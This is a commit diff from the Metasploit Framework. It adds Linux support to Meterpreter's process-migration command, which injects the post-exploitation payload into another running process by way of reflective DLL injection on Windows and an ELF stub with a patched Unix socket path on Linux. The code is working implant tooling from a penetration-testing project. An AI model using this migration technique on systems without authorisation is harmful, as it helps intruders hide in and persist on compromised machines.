Land #3594, jvazquez-r7's linux meterpreter migration support
commit
92bdf42496
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -25,6 +25,9 @@ module Meterpreter
|
|||
###
|
||||
class ClientCore < Extension
|
||||
|
||||
UNIX_PATH_MAX = 108
|
||||
DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
|
||||
|
||||
#
|
||||
# Initializes the 'core' portion of the meterpreter client commands.
|
||||
#
|
||||
|
@ -180,11 +183,13 @@ class ClientCore < Extension
|
|||
# Migrates the meterpreter instance to the process specified
|
||||
# by pid. The connection to the server remains established.
|
||||
#
|
||||
def migrate( pid )
|
||||
def migrate(pid, writable_dir = nil)
|
||||
keepalive = client.send_keepalives
|
||||
client.send_keepalives = false
|
||||
process = nil
|
||||
binary_suffix = nil
|
||||
old_platform = client.platform
|
||||
old_binary_suffix = client.binary_suffix
|
||||
|
||||
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
|
||||
client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
|
||||
|
@ -202,63 +207,58 @@ class ClientCore < Extension
|
|||
raise RuntimeError, "Cannot migrate into non existent process", caller
|
||||
end
|
||||
|
||||
# We cant migrate into a process that we are unable to open
|
||||
if process['arch'].nil? or process['arch'].empty?
|
||||
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
|
||||
# We cannot migrate into a process that we are unable to open
|
||||
# On linux, arch is empty even if we can access the process
|
||||
if client.platform =~ /win/
|
||||
if process['arch'] == nil || process['arch'].empty?
|
||||
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
|
||||
end
|
||||
end
|
||||
|
||||
# And we also cant migrate into our own current process...
|
||||
# And we also cannot migrate into our own current process...
|
||||
if process['pid'] == client.sys.process.getpid
|
||||
raise RuntimeError, "Cannot migrate into current process", caller
|
||||
end
|
||||
|
||||
# Create a new payload stub
|
||||
c = Class.new( ::Msf::Payload )
|
||||
c.include( ::Msf::Payload::Stager )
|
||||
if client.platform =~ /linux/
|
||||
if writable_dir.blank?
|
||||
writable_dir = tmp_folder
|
||||
end
|
||||
|
||||
# Include the appropriate reflective dll injection module for the target process architecture...
|
||||
if process['arch'] == ARCH_X86
|
||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
|
||||
binary_suffix = "x86.dll"
|
||||
elsif process['arch'] == ARCH_X86_64
|
||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
|
||||
binary_suffix = "x64.dll"
|
||||
else
|
||||
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
|
||||
stat_dir = client.fs.filestat.new(writable_dir)
|
||||
|
||||
unless stat_dir.directory?
|
||||
raise RuntimeError, "Directory #{writable_dir} not found", caller
|
||||
end
|
||||
# Rex::Post::FileStat#writable? isn't available
|
||||
end
|
||||
|
||||
# Create the migrate stager
|
||||
migrate_stager = c.new()
|
||||
|
||||
dll = MeterpreterBinaries.path('metsrv',binary_suffix)
|
||||
if dll.nil?
|
||||
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
|
||||
end
|
||||
migrate_stager.datastore['DLL'] = dll
|
||||
|
||||
blob = migrate_stager.stage_payload
|
||||
|
||||
if client.passive_service
|
||||
|
||||
#
|
||||
# Patch options into metsrv for reverse HTTP payloads
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
||||
:ssl => client.ssl,
|
||||
:url => self.client.url,
|
||||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => client.exploit_datastore['PROXYHOST'],
|
||||
:proxyport => client.exploit_datastore['PROXYPORT'],
|
||||
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
|
||||
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
|
||||
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
|
||||
|
||||
end
|
||||
blob = generate_payload_stub(process)
|
||||
|
||||
# Build the migration request
|
||||
request = Packet.create_request( 'core_migrate' )
|
||||
|
||||
if client.platform =~ /linux/i
|
||||
socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
|
||||
|
||||
if socket_path.length > UNIX_PATH_MAX - 1
|
||||
raise RuntimeError, "The writable dir is too long", caller
|
||||
end
|
||||
|
||||
pos = blob.index(DEFAULT_SOCK_PATH)
|
||||
|
||||
if pos.nil?
|
||||
raise RuntimeError, "The meterpreter binary is wrong", caller
|
||||
end
|
||||
|
||||
blob[pos, socket_path.length + 1] = socket_path + "\x00"
|
||||
|
||||
ep = elf_ep(blob)
|
||||
request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000)
|
||||
request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep)
|
||||
request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
|
||||
end
|
||||
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
|
||||
|
@ -307,15 +307,28 @@ class ClientCore < Extension
|
|||
end
|
||||
end
|
||||
|
||||
# Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
|
||||
# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
|
||||
# If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
|
||||
if process['arch'] == ARCH_X86_64
|
||||
client.platform = 'x64/win64'
|
||||
client.binary_suffix = 'x64.dll'
|
||||
# Update the meterpreter platform/suffix for loading extensions as we may
|
||||
# have changed target architecture
|
||||
# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a
|
||||
# module this is the simplest solution I could think of. If the platform
|
||||
# specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change
|
||||
# significantly we will need a better way to do this.
|
||||
|
||||
case client.platform
|
||||
when /win/i
|
||||
if process['arch'] == ARCH_X86_64
|
||||
client.platform = 'x64/win64'
|
||||
client.binary_suffix = 'x64.dll'
|
||||
else
|
||||
client.platform = 'x86/win32'
|
||||
client.binary_suffix = 'x86.dll'
|
||||
end
|
||||
when /linux/i
|
||||
client.platform = 'x86/linux'
|
||||
client.binary_suffix = 'lso'
|
||||
else
|
||||
client.platform = 'x86/win32'
|
||||
client.binary_suffix = 'x86.dll'
|
||||
client.platform = old_platform
|
||||
client.binary_suffix = old_binary_suffix
|
||||
end
|
||||
|
||||
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
|
||||
|
@ -348,6 +361,94 @@ class ClientCore < Extension
|
|||
true
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def generate_payload_stub(process)
|
||||
case client.platform
|
||||
when /win/i
|
||||
blob = generate_windows_stub(process)
|
||||
when /linux/i
|
||||
blob = generate_linux_stub
|
||||
else
|
||||
raise RuntimeError, "Unsupported platform '#{client.platform}'"
|
||||
end
|
||||
|
||||
blob
|
||||
end
|
||||
|
||||
def generate_windows_stub(process)
|
||||
c = Class.new( ::Msf::Payload )
|
||||
c.include( ::Msf::Payload::Stager )
|
||||
|
||||
# Include the appropriate reflective dll injection module for the target process architecture...
|
||||
if process['arch'] == ARCH_X86
|
||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
|
||||
binary_suffix = "x86.dll"
|
||||
elsif process['arch'] == ARCH_X86_64
|
||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
|
||||
binary_suffix = "x64.dll"
|
||||
else
|
||||
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
|
||||
end
|
||||
|
||||
# Create the migrate stager
|
||||
migrate_stager = c.new()
|
||||
|
||||
dll = MeterpreterBinaries.path('metsrv',binary_suffix)
|
||||
if dll.nil?
|
||||
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
|
||||
end
|
||||
migrate_stager.datastore['DLL'] = dll
|
||||
|
||||
blob = migrate_stager.stage_payload
|
||||
|
||||
if client.passive_service
|
||||
|
||||
#
|
||||
# Patch options into metsrv for reverse HTTP payloads
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
||||
:ssl => client.ssl,
|
||||
:url => self.client.url,
|
||||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => client.exploit_datastore['PROXYHOST'],
|
||||
:proxyport => client.exploit_datastore['PROXYPORT'],
|
||||
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
|
||||
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
|
||||
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
|
||||
|
||||
end
|
||||
|
||||
blob
|
||||
end
|
||||
|
||||
def generate_linux_stub
|
||||
file = ::File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
|
||||
blob = ::File.open(file, "rb") {|f|
|
||||
f.read(f.stat.size)
|
||||
}
|
||||
|
||||
blob
|
||||
end
|
||||
|
||||
def elf_ep(payload)
|
||||
elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) )
|
||||
ep = elf.elf_header.e_entry
|
||||
return ep
|
||||
end
|
||||
|
||||
def tmp_folder
|
||||
tmp = client.sys.config.getenv('TMPDIR')
|
||||
|
||||
if tmp.blank?
|
||||
tmp = '/tmp'
|
||||
end
|
||||
|
||||
tmp
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end
|
||||
|
|
|
@ -48,44 +48,47 @@ TLV_TEMP = 60000
|
|||
#
|
||||
# TLV Specific Types
|
||||
#
|
||||
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
||||
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
||||
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
||||
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
||||
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
||||
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
||||
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
||||
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
||||
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
||||
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
||||
|
||||
|
||||
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
||||
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
||||
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
||||
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
||||
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
||||
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
||||
|
||||
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
||||
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
||||
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
||||
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
||||
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
||||
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
||||
|
||||
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
|
||||
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
|
||||
|
||||
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
||||
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
||||
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
||||
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
||||
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
||||
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
||||
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
||||
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
||||
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
||||
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404
|
||||
TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
||||
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
||||
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404
|
||||
TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405
|
||||
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_META_TYPE_UINT | 407
|
||||
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_META_TYPE_UINT | 408
|
||||
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409
|
||||
|
||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||
|
||||
#
|
||||
# Core flags
|
||||
|
|
|
@ -69,7 +69,7 @@ class Console::CommandDispatcher::Core
|
|||
# whatever reason it is not adding core_migrate to its list of commands.
|
||||
# Use a dumb platform til it gets sorted.
|
||||
#if client.commands.include? "core_migrate"
|
||||
if client.platform =~ /win/
|
||||
if client.platform =~ /win/ || client.platform =~ /linux/
|
||||
c["migrate"] = "Migrate the server to another process"
|
||||
end
|
||||
|
||||
|
@ -321,7 +321,11 @@ class Console::CommandDispatcher::Core
|
|||
end
|
||||
|
||||
def cmd_migrate_help
|
||||
print_line "Usage: migrate <pid>"
|
||||
if client.platform =~ /linux/
|
||||
print_line "Usage: migrate <pid> [writable_path]"
|
||||
else
|
||||
print_line "Usage: migrate <pid>"
|
||||
end
|
||||
print_line
|
||||
print_line "Migrates the server instance to another process."
|
||||
print_line "NOTE: Any open channels or other dynamic state will be lost."
|
||||
|
@ -331,7 +335,8 @@ class Console::CommandDispatcher::Core
|
|||
#
|
||||
# Migrates the server to the supplied process identifier.
|
||||
#
|
||||
# @param args [Array<String>] Commandline arguments, only -h or a pid
|
||||
# @param args [Array<String>] Commandline arguments, -h or a pid. On linux
|
||||
# platforms a path for the unix domain socket used for IPC.
|
||||
# @return [void]
|
||||
def cmd_migrate(*args)
|
||||
if ( args.length == 0 or args.include?("-h") )
|
||||
|
@ -345,6 +350,10 @@ class Console::CommandDispatcher::Core
|
|||
return
|
||||
end
|
||||
|
||||
if client.platform =~ /linux/
|
||||
writable_dir = (args.length >= 2) ? args[1] : nil
|
||||
end
|
||||
|
||||
begin
|
||||
server = client.sys.process.open
|
||||
rescue TimeoutError => e
|
||||
|
@ -385,7 +394,11 @@ class Console::CommandDispatcher::Core
|
|||
server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}")
|
||||
|
||||
# Do this thang.
|
||||
client.core.migrate(pid)
|
||||
if client.platform =~ /linux/
|
||||
client.core.migrate(pid, writable_dir)
|
||||
else
|
||||
client.core.migrate(pid)
|
||||
end
|
||||
|
||||
print_status("Migration completed successfully.")
|
||||
|
||||
|
|
Loading…
Reference in New Issue